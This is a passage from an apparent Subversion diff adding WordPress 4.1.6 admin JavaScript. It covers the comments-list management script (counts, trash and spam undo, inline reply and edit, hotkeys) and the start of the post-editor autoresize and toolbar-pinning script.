+		// Padding cannot be reliably retrieved using shorthand in all browsers.
+		clone.css({
+			'font-family': editor.css('font-family'),
+			'font-size':   editor.css('font-size'),
+			'line-height': editor.css('line-height'),
+			'padding-bottom': editor.css('paddingBottom'),
+			'padding-left': editor.css('paddingLeft'),
+			'padding-right': editor.css('paddingRight'),
+			'padding-top': editor.css('paddingTop'),
+			'white-space': 'pre-wrap',
+			'word-wrap': 'break-word',
+			'display': 'none'
+		});
+
+		// propertychange is for IE < 9
+		editor.on('focus input propertychange', function() {
+			var $this = $(this),
+				// &nbsp; is to ensure that the height of a final trailing newline is included.
+				textareaContent = $this.val() + '&nbsp;',
+				// 2px is for border-top & border-bottom
+				cloneHeight = clone.css('width', $this.css('width')).text(textareaContent).outerHeight() + 2;
+
+			// Default to having scrollbars
+			editor.css('overflow-y', 'auto');
+
+			// Only change the height if it has indeed changed and both heights are below the max.
+			if ( cloneHeight === editorHeight || ( cloneHeight >= editorMaxHeight && editorHeight >= editorMaxHeight ) ) {
+				return;
+			}
+
+			// Don't allow editor to exceed height of window.
+			// This is also bound in CSS to a max-height of 1300px to be extra safe.
+			if ( cloneHeight > editorMaxHeight ) {
+				editorHeight = editorMaxHeight;
+			} else {
+				editorHeight = cloneHeight;
+			}
+
+			// No scrollbars as we change height, not for IE < 9
+			editor.css('overflow', 'hidden');
+
+			$this.css('height', editorHeight + 'px');
+		});
+	}
+
+} );
Index: /tags/4.1.6/src/wp-admin/js/edit-comments.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/edit-comments.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/edit-comments.js	(revision 33402)
@@ -0,0 +1,625 @@
+/* global adminCommentsL10n, thousandsSeparator, list_args, QTags, ajaxurl, wpAjax */
+var setCommentsList, theList, theExtraList, commentReply;
+
+(function($) {
+var getCount, updateCount, updatePending;
+
+setCommentsList = function() {
+	var totalInput, perPageInput, pageInput, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList, diff,
+		lastConfidentTime = 0;
+
+	totalInput = $('input[name="_total"]', '#comments-form');
+	perPageInput = $('input[name="_per_page"]', '#comments-form');
+	pageInput = $('input[name="_page"]', '#comments-form');
+
+	dimAfter = function( r, settings ) {
+		var editRow, replyID, replyButton,
+			c = $( '#' + settings.element );
+
+		editRow = $('#replyrow');
+		replyID = $('#comment_ID', editRow).val();
+		replyButton = $('#replybtn', editRow);
+
+		if ( c.is('.unapproved') ) {
+			if ( settings.data.id == replyID )
+				replyButton.text(adminCommentsL10n.replyApprove);
+
+			c.find('div.comment_status').html('0');
+		} else {
+			if ( settings.data.id == replyID )
+				replyButton.text(adminCommentsL10n.reply);
+
+			c.find('div.comment_status').html('1');
+		}
+
+		diff = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1;
+		updatePending( diff );
+	};
+
+	// Send current total, page, per_page and url
+	delBefore = function( settings, list ) {
+		var note, id, el, n, h, a, author,
+			action = false,
+			wpListsData = $( settings.target ).attr( 'data-wp-lists' );
+
+		settings.data._total = totalInput.val() || 0;
+		settings.data._per_page = perPageInput.val() || 0;
+		settings.data._page = pageInput.val() || 0;
+		settings.data._url = document.location.href;
+		settings.data.comment_status = $('input[name="comment_status"]', '#comments-form').val();
+
+		if ( wpListsData.indexOf(':trash=1') != -1 )
+			action = 'trash';
+		else if ( wpListsData.indexOf(':spam=1') != -1 )
+			action = 'spam';
+
+		if ( action ) {
+			id = wpListsData.replace(/.*?comment-([0-9]+).*/, '$1');
+			el = $('#comment-' + id);
+			note = $('#' + action + '-undo-holder').html();
+
+			el.find('.check-column :checkbox').prop('checked', false); // Uncheck the row so as not to be affected by Bulk Edits.
+
+			if ( el.siblings('#replyrow').length && commentReply.cid == id )
+				commentReply.close();
+
+			if ( el.is('tr') ) {
+				n = el.children(':visible').length;
+				author = $('.author strong', el).text();
+				h = $('<tr id="undo-' + id + '" class="undo un' + action + '" style="display:none;"><td colspan="' + n + '">' + note + '</td></tr>');
+			} else {
+				author = $('.comment-author', el).text();
+				h = $('<div id="undo-' + id + '" style="display:none;" class="undo un' + action + '">' + note + '</div>');
+			}
+
+			el.before(h);
+
+			$('strong', '#undo-' + id).text(author);
+			a = $('.undo a', '#undo-' + id);
+			a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce);
+			a.attr('data-wp-lists', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1');
+			a.attr('class', 'vim-z vim-destructive');
+			$('.avatar', el).first().clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside');
+
+			a.click(function(){
+				list.wpList.del(this);
+				$('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){
+					$(this).remove();
+					$('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show(); });
+				});
+				return false;
+			});
+		}
+
+		return settings;
+	};
+
+	// Updates the current total (stored in the _total input)
+	updateTotalCount = function( total, time, setConfidentTime ) {
+		if ( time < lastConfidentTime )
+			return;
+
+		if ( setConfidentTime )
+			lastConfidentTime = time;
+
+		totalInput.val( total.toString() );
+	};
+
+	getCount = function(el) {
+		var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 );
+		if ( isNaN(n) )
+			return 0;
+		return n;
+	};
+
+	updateCount = function(el, n) {
+		var n1 = '';
+		if ( isNaN(n) )
+			return;
+		n = n < 1 ? '0' : n.toString();
+		if ( n.length > 3 ) {
+			while ( n.length > 3 ) {
+				n1 = thousandsSeparator + n.substr(n.length - 3) + n1;
+				n = n.substr(0, n.length - 3);
+			}
+			n = n + n1;
+		}
+		el.html(n);
+	};
+
+	updatePending = function( diff ) {
+		$('span.pending-count').each(function() {
+			var a = $(this), n = getCount(a) + diff;
+			if ( n < 1 )
+				n = 0;
+			a.closest('.awaiting-mod')[ 0 === n ? 'addClass' : 'removeClass' ]('count-0');
+			updateCount( a, n );
+		});
+	};
+
+	// In admin-ajax.php, we send back the unix time stamp instead of 1 on success
+	delAfter = function( r, settings ) {
+		var total_items_i18n, total, spam, trash, pending,
+			untrash = $(settings.target).parent().is('span.untrash'),
+			unspam = $(settings.target).parent().is('span.unspam'),
+			unapproved = $('#' + settings.element).is('.unapproved');
+
+		function getUpdate(s) {
+			if ( $(settings.target).parent().is('span.' + s) )
+				return 1;
+			else if ( $('#' + settings.element).is('.' + s) )
+				return -1;
+
+			return 0;
+		}
+
+		if ( untrash )
+			trash = -1;
+		else
+			trash = getUpdate('trash');
+
+		if ( unspam )
+			spam = -1;
+		else
+			spam = getUpdate('spam');
+
+		if ( $(settings.target).parent().is('span.unapprove') || ( ( untrash || unspam ) && unapproved ) ) {
+			// a comment was 'deleted' from another list (e.g. approved, spam, trash) and moved to pending,
+			// or a trash/spam of a pending comment was undone
+			pending = 1;
+		} else if ( unapproved ) {
+			// a pending comment was trashed/spammed/approved
+			pending = -1;
+		}
+
+		if ( pending )
+			updatePending(pending);
+
+		$('span.spam-count').each( function() {
+			var a = $(this), n = getCount(a) + spam;
+			updateCount(a, n);
+		});
+
+		$('span.trash-count').each( function() {
+			var a = $(this), n = getCount(a) + trash;
+			updateCount(a, n);
+		});
+
+		if ( ! $('#dashboard_right_now').length ) {
+			total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0;
+			if ( $(settings.target).parent().is('span.undo') )
+				total++;
+			else
+				total--;
+
+			if ( total < 0 )
+				total = 0;
+
+			if ( ( 'object' == typeof r ) && lastConfidentTime < settings.parsed.responses[0].supplemental.time ) {
+				total_items_i18n = settings.parsed.responses[0].supplemental.total_items_i18n || '';
+				if ( total_items_i18n ) {
+					$('.displaying-num').text( total_items_i18n );
+					$('.total-pages').text( settings.parsed.responses[0].supplemental.total_pages_i18n );
+					$('.tablenav-pages').find('.next-page, .last-page').toggleClass('disabled', settings.parsed.responses[0].supplemental.total_pages == $('.current-page').val());
+				}
+				updateTotalCount( total, settings.parsed.responses[0].supplemental.time, true );
+			} else {
+				updateTotalCount( total, r, false );
+			}
+		}
+
+		if ( ! theExtraList || theExtraList.size() === 0 || theExtraList.children().size() === 0 || untrash || unspam ) {
+			return;
+		}
+
+		theList.get(0).wpList.add( theExtraList.children(':eq(0)').remove().clone() );
+
+		refillTheExtraList();
+	};
+
+	refillTheExtraList = function(ev) {
+		var args = $.query.get(), total_pages = $('.total-pages').text(), per_page = $('input[name="_per_page"]', '#comments-form').val();
+
+		if (! args.paged)
+			args.paged = 1;
+
+		if (args.paged > total_pages) {
+			return;
+		}
+
+		if (ev) {
+			theExtraList.empty();
+			args.number = Math.min(8, per_page); // see WP_Comments_List_Table::prepare_items() @ class-wp-comments-list-table.php
+		} else {
+			args.number = 1;
+			args.offset = Math.min(8, per_page) - 1; // fetch only the next item on the extra list
+		}
+
+		args.no_placeholder = true;
+
+		args.paged ++;
+
+		// $.query.get() needs some correction to be sent into an ajax request
+		if ( true === args.comment_type )
+			args.comment_type = '';
+
+		args = $.extend(args, {
+			'action': 'fetch-list',
+			'list_args': list_args,
+			'_ajax_fetch_list_nonce': $('#_ajax_fetch_list_nonce').val()
+		});
+
+		$.ajax({
+			url: ajaxurl,
+			global: false,
+			dataType: 'json',
+			data: args,
+			success: function(response) {
+				theExtraList.get(0).wpList.add( response.rows );
+			}
+		});
+	};
+
+	theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } );
+	theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } )
+		.bind('wpListDelEnd', function(e, s){
+			var wpListsData = $(s.target).attr('data-wp-lists'), id = s.element.replace(/[^0-9]+/g, '');
+
+			if ( wpListsData.indexOf(':trash=1') != -1 || wpListsData.indexOf(':spam=1') != -1 )
+				$('#undo-' + id).fadeIn(300, function(){ $(this).show(); });
+		});
+};
+
+commentReply = {
+	cid : '',
+	act : '',
+
+	init : function() {
+		var row = $('#replyrow');
+
+		$('a.cancel', row).click(function() { return commentReply.revert(); });
+		$('a.save', row).click(function() { return commentReply.send(); });
+		$('input#author, input#author-email, input#author-url', row).keypress(function(e){
+			if ( e.which == 13 ) {
+				commentReply.send();
+				e.preventDefault();
+				return false;
+			}
+		});
+
+		// add events
+		$('#the-comment-list .column-comment > p').dblclick(function(){
+			commentReply.toggle($(this).parent());
+		});
+
+		$('#doaction, #doaction2, #post-query-submit').click(function(){
+			if ( $('#the-comment-list #replyrow').length > 0 )
+				commentReply.close();
+		});
+
+		this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || '';
+
+		/* $(listTable).bind('beforeChangePage', function(){
+			commentReply.close();
+		}); */
+	},
+
+	addEvents : function(r) {
+		r.each(function() {
+			$(this).find('.column-comment > p').dblclick(function(){
+				commentReply.toggle($(this).parent());
+			});
+		});
+	},
+
+	toggle : function(el) {
+		if ( $(el).css('display') != 'none' )
+			$(el).find('a.vim-q').click();
+	},
+
+	revert : function() {
+
+		if ( $('#the-comment-list #replyrow').length < 1 )
+			return false;
+
+		$('#replyrow').fadeOut('fast', function(){
+			commentReply.close();
+		});
+
+		return false;
+	},
+
+	close : function() {
+		var c, replyrow = $('#replyrow');
+
+		// replyrow is not showing?
+		if ( replyrow.parent().is('#com-reply') )
+			return;
+
+		if ( this.cid && this.act == 'edit-comment' ) {
+			c = $('#comment-' + this.cid);
+			c.fadeIn(300, function(){ c.show(); }).css('backgroundColor', '');
+		}
+
+		// reset the Quicktags buttons
+		if ( typeof QTags != 'undefined' )
+			QTags.closeAllTags('replycontent');
+
+		$('#add-new-comment').css('display', '');
+
+		replyrow.hide();
+		$('#com-reply').append( replyrow );
+		$('#replycontent').css('height', '').val('');
+		$('#edithead input').val('');
+		$('.error', replyrow).html('').hide();
+		$('.spinner', replyrow).hide();
+
+		this.cid = '';
+	},
+
+	open : function(comment_id, post_id, action) {
+		var editRow, rowData, act, replyButton, editHeight,
+			t = this,
+			c = $('#comment-' + comment_id),
+			h = c.height();
+
+		t.close();
+		t.cid = comment_id;
+
+		editRow = $('#replyrow');
+		rowData = $('#inline-'+comment_id);
+		action = action || 'replyto';
+		act = 'edit' == action ? 'edit' : 'replyto';
+		act = t.act = act + '-comment';
+
+		$('#action', editRow).val(act);
+		$('#comment_post_ID', editRow).val(post_id);
+		$('#comment_ID', editRow).val(comment_id);
+
+		if ( action == 'edit' ) {
+			$('#author', editRow).val( $('div.author', rowData).text() );
+			$('#author-email', editRow).val( $('div.author-email', rowData).text() );
+			$('#author-url', editRow).val( $('div.author-url', rowData).text() );
+			$('#status', editRow).val( $('div.comment_status', rowData).text() );
+			$('#replycontent', editRow).val( $('textarea.comment', rowData).val() );
+			$('#edithead, #savebtn', editRow).show();
+			$('#replyhead, #replybtn, #addhead, #addbtn', editRow).hide();
+
+			if ( h > 120 ) {
+				// Limit the maximum height when editing very long comments to make it more manageable.
+				// The textarea is resizable in most browsers, so the user can adjust it if needed.
+				editHeight = h > 500 ? 500 : h;
+				$('#replycontent', editRow).css('height', editHeight + 'px');
+			}
+
+			c.after( editRow ).fadeOut('fast', function(){
+				$('#replyrow').fadeIn(300, function(){ $(this).show(); });
+			});
+		} else if ( action == 'add' ) {
+			$('#addhead, #addbtn', editRow).show();
+			$('#replyhead, #replybtn, #edithead, #editbtn', editRow).hide();
+			$('#the-comment-list').prepend(editRow);
+			$('#replyrow').fadeIn(300);
+		} else {
+			replyButton = $('#replybtn', editRow);
+			$('#edithead, #savebtn, #addhead, #addbtn', editRow).hide();
+			$('#replyhead, #replybtn', editRow).show();
+			c.after(editRow);
+
+			if ( c.hasClass('unapproved') ) {
+				replyButton.text(adminCommentsL10n.replyApprove);
+			} else {
+				replyButton.text(adminCommentsL10n.reply);
+			}
+
+			$('#replyrow').fadeIn(300, function(){ $(this).show(); });
+		}
+
+		setTimeout(function() {
+			var rtop, rbottom, scrollTop, vp, scrollBottom;
+
+			rtop = $('#replyrow').offset().top;
+			rbottom = rtop + $('#replyrow').height();
+			scrollTop = window.pageYOffset || document.documentElement.scrollTop;
+			vp = document.documentElement.clientHeight || window.innerHeight || 0;
+			scrollBottom = scrollTop + vp;
+
+			if ( scrollBottom - 20 < rbottom )
+				window.scroll(0, rbottom - vp + 35);
+			else if ( rtop - 20 < scrollTop )
+				window.scroll(0, rtop - 35);
+
+			$('#replycontent').focus().keyup(function(e){
+				if ( e.which == 27 )
+					commentReply.revert(); // close on Escape
+			});
+		}, 600);
+
+		return false;
+	},
+
+	send : function() {
+		var post = {};
+
+		$('#replysubmit .error').hide();
+		$('#replysubmit .spinner').show();
+
+		$('#replyrow input').not(':button').each(function() {
+			var t = $(this);
+			post[ t.attr('name') ] = t.val();
+		});
+
+		post.content = $('#replycontent').val();
+		post.id = post.comment_post_ID;
+		post.comments_listing = this.comments_listing;
+		post.p = $('[name="p"]').val();
+
+		if ( $('#comment-' + $('#comment_ID').val()).hasClass('unapproved') )
+			post.approve_parent = 1;
+
+		$.ajax({
+			type : 'POST',
+			url : ajaxurl,
+			data : post,
+			success : function(x) { commentReply.show(x); },
+			error : function(r) { commentReply.error(r); }
+		});
+
+		return false;
+	},
+
+	show : function(xml) {
+		var t = this, r, c, id, bg, pid;
+
+		if ( typeof(xml) == 'string' ) {
+			t.error({'responseText': xml});
+			return false;
+		}
+
+		r = wpAjax.parseAjaxResponse(xml);
+		if ( r.errors ) {
+			t.error({'responseText': wpAjax.broken});
+			return false;
+		}
+
+		t.revert();
+
+		r = r.responses[0];
+		id = '#comment-' + r.id;
+
+		if ( 'edit-comment' == t.act )
+			$(id).remove();
+
+		if ( r.supplemental.parent_approved ) {
+			pid = $('#comment-' + r.supplemental.parent_approved);
+			updatePending( -1 );
+
+			if ( this.comments_listing == 'moderated' ) {
+				pid.animate( { 'backgroundColor':'#CCEEBB' }, 400, function(){
+					pid.fadeOut();
+				});
+				return;
+			}
+		}
+
+		c = $.trim(r.data); // Trim leading whitespaces
+		$(c).hide();
+		$('#replyrow').after(c);
+
+		id = $(id);
+		t.addEvents(id);
+		bg = id.hasClass('unapproved') ? '#FFFFE0' : id.closest('.widefat, .postbox').css('backgroundColor');
+
+		id.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
+			.animate( { 'backgroundColor': bg }, 300, function() {
+				if ( pid && pid.length ) {
+					pid.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
+						.animate( { 'backgroundColor': bg }, 300 )
+						.removeClass('unapproved').addClass('approved')
+						.find('div.comment_status').html('1');
+				}
+			});
+
+	},
+
+	error : function(r) {
+		var er = r.statusText;
+
+		$('#replysubmit .spinner').hide();
+
+		if ( r.responseText )
+			er = r.responseText.replace( /<.[^<>]*?>/g, '' );
+
+		if ( er )
+			$('#replysubmit .error').html(er).show();
+
+	},
+
+	addcomment: function(post_id) {
+		var t = this;
+
+		$('#add-new-comment').fadeOut(200, function(){
+			t.open(0, post_id, 'add');
+			$('table.comments-box').css('display', '');
+			$('#no-comments').remove();
+		});
+	}
+};
+
+$(document).ready(function(){
+	var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk;
+
+	setCommentsList();
+	commentReply.init();
+	$(document).delegate('span.delete a.delete', 'click', function(){return false;});
+
+	if ( typeof $.table_hotkeys != 'undefined' ) {
+		make_hotkeys_redirect = function(which) {
+			return function() {
+				var first_last, l;
+
+				first_last = 'next' == which? 'first' : 'last';
+				l = $('.tablenav-pages .'+which+'-page:not(.disabled)');
+				if (l.length)
+					window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1';
+			};
+		};
+
+		edit_comment = function(event, current_row) {
+			window.location = $('span.edit a', current_row).attr('href');
+		};
+
+		toggle_all = function() {
+			$('#cb-select-all-1').data( 'wp-toggle', 1 ).trigger( 'click' ).removeData( 'wp-toggle' );
+		};
+
+		make_bulk = function(value) {
+			return function() {
+				var scope = $('select[name="action"]');
+				$('option[value="' + value + '"]', scope).prop('selected', true);
+				$('#doaction').click();
+			};
+		};
+
+		$.table_hotkeys(
+			$('table.widefat'),
+			[
+				'a', 'u', 's', 'd', 'r', 'q', 'z',
+				['e', edit_comment],
+				['shift+x', toggle_all],
+				['shift+a', make_bulk('approve')],
+				['shift+s', make_bulk('spam')],
+				['shift+d', make_bulk('delete')],
+				['shift+t', make_bulk('trash')],
+				['shift+z', make_bulk('untrash')],
+				['shift+u', make_bulk('unapprove')]
+			],
+			{
+				highlight_first: adminCommentsL10n.hotkeys_highlight_first,
+				highlight_last: adminCommentsL10n.hotkeys_highlight_last,
+				prev_page_link_cb: make_hotkeys_redirect('prev'),
+				next_page_link_cb: make_hotkeys_redirect('next'),
+				hotkeys_opts: {
+					disableInInput: true,
+					type: 'keypress',
+					noDisable: '.check-column input[type="checkbox"]'
+				}
+			}
+		);
+	}
+
+	// Quick Edit and Reply have an inline comment editor.
+	$( '#the-comment-list' ).on( 'click', '.comment-inline', function (e) {
+		e.preventDefault();
+		var $el = $( this ),
+			action = 'replyto';
+
+		if ( 'undefined' !== typeof $el.data( 'action' ) ) {
+			action = $el.data( 'action' );
+		}
+
+		commentReply.open( $el.data( 'commentId' ), $el.data( 'postId' ), action );
+	} );
+});
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/editor-expand.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/editor-expand.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/editor-expand.js	(revision 33402)
@@ -0,0 +1,1228 @@
+( function( window, $, undefined ) {
+	'use strict';
+
+	var $window = $( window ),
+		$document = $( document ),
+		$adminBar = $( '#wpadminbar' ),
+		$footer = $( '#wpfooter' );
+
+	/* Autoresize editor. */
+	$( function() {
+		var $wrap = $( '#postdivrich' ),
+			$contentWrap = $( '#wp-content-wrap' ),
+			$tools = $( '#wp-content-editor-tools' ),
+			$visualTop = $(),
+			$visualEditor = $(),
+			$textTop = $( '#ed_toolbar' ),
+			$textEditor = $( '#content' ),
+			$textEditorClone = $( '<div id="content-textarea-clone"></div>' ),
+			$bottom = $( '#post-status-info' ),
+			$menuBar = $(),
+			$statusBar = $(),
+			$sideSortables = $( '#side-sortables' ),
+			$postboxContainer = $( '#postbox-container-1' ),
+			$postBody = $('#post-body'),
+			fullscreen = window.wp.editor && window.wp.editor.fullscreen,
+			mceEditor,
+			mceBind = function(){},
+			mceUnbind = function(){},
+			fixedTop = false,
+			fixedBottom = false,
+			fixedSideTop = false,
+			fixedSideBottom = false,
+			scrollTimer,
+			lastScrollPosition = 0,
+			pageYOffsetAtTop = 130,
+			pinnedToolsTop = 56,
+			sidebarBottom = 20,
+			autoresizeMinHeight = 300,
+			initialMode = $contentWrap.hasClass( 'tmce-active' ) ? 'tinymce' : 'html',
+			advanced = !! parseInt( window.getUserSetting( 'hidetb' ), 10 ),
+			// These are corrected when adjust() runs, except on scrolling if already set.
+			heights = {
+				windowHeight: 0,
+				windowWidth: 0,
+				adminBarHeight: 0,
+				toolsHeight: 0,
+				menuBarHeight: 0,
+				visualTopHeight: 0,
+				textTopHeight: 0,
+				bottomHeight: 0,
+				statusBarHeight: 0,
+				sideSortablesHeight: 0
+			};
+
+		$textEditorClone.insertAfter( $textEditor );
+
+		$textEditorClone.css( {
+			'font-family': $textEditor.css( 'font-family' ),
+			'font-size': $textEditor.css( 'font-size' ),
+			'line-height': $textEditor.css( 'line-height' ),
+			'white-space': 'pre-wrap',
+			'word-wrap': 'break-word'
+		} );
+
+		function getHeights() {
+			var windowWidth = $window.width();
+
+			heights = {
+				windowHeight: $window.height(),
+				windowWidth: windowWidth,
+				adminBarHeight: ( windowWidth > 600 ? $adminBar.outerHeight() : 0 ),
+				toolsHeight: $tools.outerHeight() || 0,
+				menuBarHeight: $menuBar.outerHeight() || 0,
+				visualTopHeight: $visualTop.outerHeight() || 0,
+				textTopHeight: $textTop.outerHeight() || 0,
+				bottomHeight: $bottom.outerHeight() || 0,
+				statusBarHeight: $statusBar.outerHeight() || 0,
+				sideSortablesHeight: $sideSortables.height() || 0
+			};
+
+			// Adjust for hidden
+			if ( heights.menuBarHeight < 3 ) {
+				heights.menuBarHeight = 0;
+			}
+		}
+
+		function textEditorKeyup( event ) {
+			var VK = jQuery.ui.keyCode,
+				key = event.keyCode,
+				range = document.createRange(),
+				selStart = $textEditor[0].selectionStart,
+				selEnd = $textEditor[0].selectionEnd,
+				textNode = $textEditorClone[0].firstChild,
+				buffer = 10,
+				offset, cursorTop, cursorBottom, editorTop, editorBottom;
+
+			if ( selStart && selEnd && selStart !== selEnd ) {
+				return;
+			}
+
+			// These are not TinyMCE ranges.
+			try {
+				range.setStart( textNode, selStart );
+				range.setEnd( textNode, selEnd + 1 );
+			} catch ( ex ) {}
+
+			offset = range.getBoundingClientRect();
+
+			if ( ! offset.height ) {
+				return;
+			}
+
+			cursorTop = offset.top - buffer;
+			cursorBottom = cursorTop + offset.height + buffer;
+			editorTop = heights.adminBarHeight + heights.toolsHeight + heights.textTopHeight;
+			editorBottom = heights.windowHeight - heights.bottomHeight;
+
+			if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) {
+				window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop );
+			} else if ( cursorBottom > editorBottom ) {
+				window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom );
+			}
+		}
+
+		function textEditorResize() {
+			if ( ( mceEditor && ! mceEditor.isHidden() ) || ( ! mceEditor && initialMode === 'tinymce' ) ) {
+				return;
+			}
+
+			var textEditorHeight = $textEditor.height(),
+				hiddenHeight;
+
+			$textEditorClone.width( $textEditor.width() - 22 );
+			$textEditorClone.text( $textEditor.val() + '&nbsp;' );
+
+			hiddenHeight = $textEditorClone.height();
+
+			if ( hiddenHeight < autoresizeMinHeight ) {
+				hiddenHeight = autoresizeMinHeight;
+			}
+
+			if ( hiddenHeight === textEditorHeight ) {
+				return;
+			}
+
+			$textEditor.height( hiddenHeight );
+
+			adjust();
+		}
+
+		// We need to wait for TinyMCE to initialize.
+		$document.on( 'tinymce-editor-init.editor-expand', function( event, editor ) {
+			var VK = window.tinymce.util.VK,
+				hideFloatPanels = _.debounce( function() {
+					! $( '.mce-floatpanel:hover' ).length && window.tinymce.ui.FloatPanel.hideAll();
+					$( '.mce-tooltip' ).hide();
+				}, 1000, true );
+
+			// Make sure it's the main editor.
+			if ( editor.id !== 'content' ) {
+				return;
+			}
+
+			// Copy the editor instance.
+			mceEditor = editor;
+
+			// Set the minimum height to the initial viewport height.
+			editor.settings.autoresize_min_height = autoresizeMinHeight;
+
+			// Get the necessary UI elements.
+			$visualTop = $contentWrap.find( '.mce-toolbar-grp' );
+			$visualEditor = $contentWrap.find( '.mce-edit-area' );
+			$statusBar = $contentWrap.find( '.mce-statusbar' );
+			$menuBar = $contentWrap.find( '.mce-menubar' );
+
+			function mceGetCursorOffset() {
+				var node = editor.selection.getNode(),
+					range, view, offset;
+
+				if ( editor.plugins.wpview && ( view = editor.plugins.wpview.getView( node ) ) ) {
+					offset = view.getBoundingClientRect();
+				} else {
+					range = editor.selection.getRng();
+
+					try {
+						offset = range.getClientRects()[0];
+					} catch( er ) {}
+
+					if ( ! offset ) {
+						offset = node.getBoundingClientRect();
+					}
+				}
+
+				return offset.height ? offset : false;
+			}
+
+			// Make sure the cursor is always visible.
+			// This is not only necessary to keep the cursor between the toolbars,
+			// but also to scroll the window when the cursor moves out of the viewport to a wpview.
+			// Setting a buffer > 0 will prevent the browser default.
+			// Some browsers will scroll to the middle,
+			// others to the top/bottom of the *window* when moving the cursor out of the viewport.
+			function mceKeyup( event ) {
+				var key = event.keyCode;
+
+				// Bail on special keys.
+				if ( key <= 47 && ! ( key === VK.SPACEBAR || key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE || key === VK.UP || key === VK.LEFT || key === VK.DOWN || key === VK.UP ) ) {
+					return;
+				// OS keys, function keys, num lock, scroll lock
+				} else if ( ( key >= 91 && key <= 93 ) || ( key >= 112 && key <= 123 ) || key === 144 || key === 145 ) {
+					return;
+				}
+
+				mceScroll( key );
+			}
+
+			function mceScroll( key ) {
+				var offset = mceGetCursorOffset(),
+					buffer = 50,
+					cursorTop, cursorBottom, editorTop, editorBottom;
+
+				if ( ! offset ) {
+					return;
+				}
+
+				cursorTop = offset.top + editor.iframeElement.getBoundingClientRect().top;
+				cursorBottom = cursorTop + offset.height;
+				cursorTop = cursorTop - buffer;
+				cursorBottom = cursorBottom + buffer;
+				editorTop = heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight + heights.visualTopHeight;
+				editorBottom = heights.windowHeight - ( advanced ? heights.bottomHeight + heights.statusBarHeight : 0 );
+
+				// Don't scroll if the node is taller than the visible part of the editor
+				if ( editorBottom - editorTop < offset.height ) {
+					return;
+				}
+
+				if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) {
+					window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop );
+				} else if ( cursorBottom > editorBottom ) {
+					window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom );
+				}
+			}
+
+			function mceFullscreenToggled( event ) {
+				if ( ! event.state ) {
+					adjust();
+				}
+			}
+
+			// Adjust when switching editor modes.
+			function mceShow() {
+				$window.on( 'scroll.mce-float-panels', hideFloatPanels );
+
+				setTimeout( function() {
+					editor.execCommand( 'wpAutoResize' );
+					adjust();
+				}, 300 );
+			}
+
+			function mceHide() {
+				$window.off( 'scroll.mce-float-panels' );
+
+				setTimeout( function() {
+					var top = $contentWrap.offset().top;
+
+					if ( window.pageYOffset > top ) {
+						window.scrollTo( window.pageXOffset, top - heights.adminBarHeight );
+					}
+
+					textEditorResize();
+					adjust();
+				}, 100 );
+
+				adjust();
+			}
+
+			function toggleAdvanced() {
+				advanced = ! advanced;
+			}
+
+			mceBind = function() {
+				editor.on( 'keyup', mceKeyup );
+				editor.on( 'show', mceShow );
+				editor.on( 'hide', mceHide );
+				editor.on( 'wp-toolbar-toggle', toggleAdvanced );
+				// Adjust when the editor resizes.
+				editor.on( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );
+				// Don't hide the caret after undo/redo.
+				editor.on( 'undo redo', mceScroll );
+				// Adjust when exiting TinyMCE's fullscreen mode.
+				editor.on( 'FullscreenStateChanged', mceFullscreenToggled );
+
+				$window.off( 'scroll.mce-float-panels' ).on( 'scroll.mce-float-panels', hideFloatPanels );
+			};
+
+			mceUnbind = function() {
+				editor.off( 'keyup', mceKeyup );
+				editor.off( 'show', mceShow );
+				editor.off( 'hide', mceHide );
+				editor.off( 'wp-toolbar-toggle', toggleAdvanced );
+				editor.off( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );
+				editor.off( 'undo redo', mceScroll );
+				editor.off( 'FullscreenStateChanged', mceFullscreenToggled );
+
+				$window.off( 'scroll.mce-float-panels' );
+			};
+
+			if ( $wrap.hasClass( 'wp-editor-expand' ) ) {
+				// Adjust "immediately"
+				mceBind();
+				initialResize( adjust );
+			}
+		} );
+
+		// Adjust the toolbars based on the active editor mode.
+		function adjust( event ) {
+			// Make sure we're not in fullscreen mode.
+			if ( fullscreen && fullscreen.settings.visible ) {
+				return;
+			}
+
+			var windowPos = $window.scrollTop(),
+				type = event && event.type,
+				resize = type !== 'scroll',
+				visual = ( mceEditor && ! mceEditor.isHidden() ),
+				buffer = autoresizeMinHeight,
+				postBodyTop = $postBody.offset().top,
+				borderWidth = 1,
+				contentWrapWidth = $contentWrap.width(),
+				$top, $editor, sidebarTop, footerTop, canPin,
+				topPos, topHeight, editorPos, editorHeight;
+
+			// Refresh the heights
+			if ( resize || ! heights.windowHeight ) {
+				getHeights();
+			}
+
+			if ( ! visual && type === 'resize' ) {
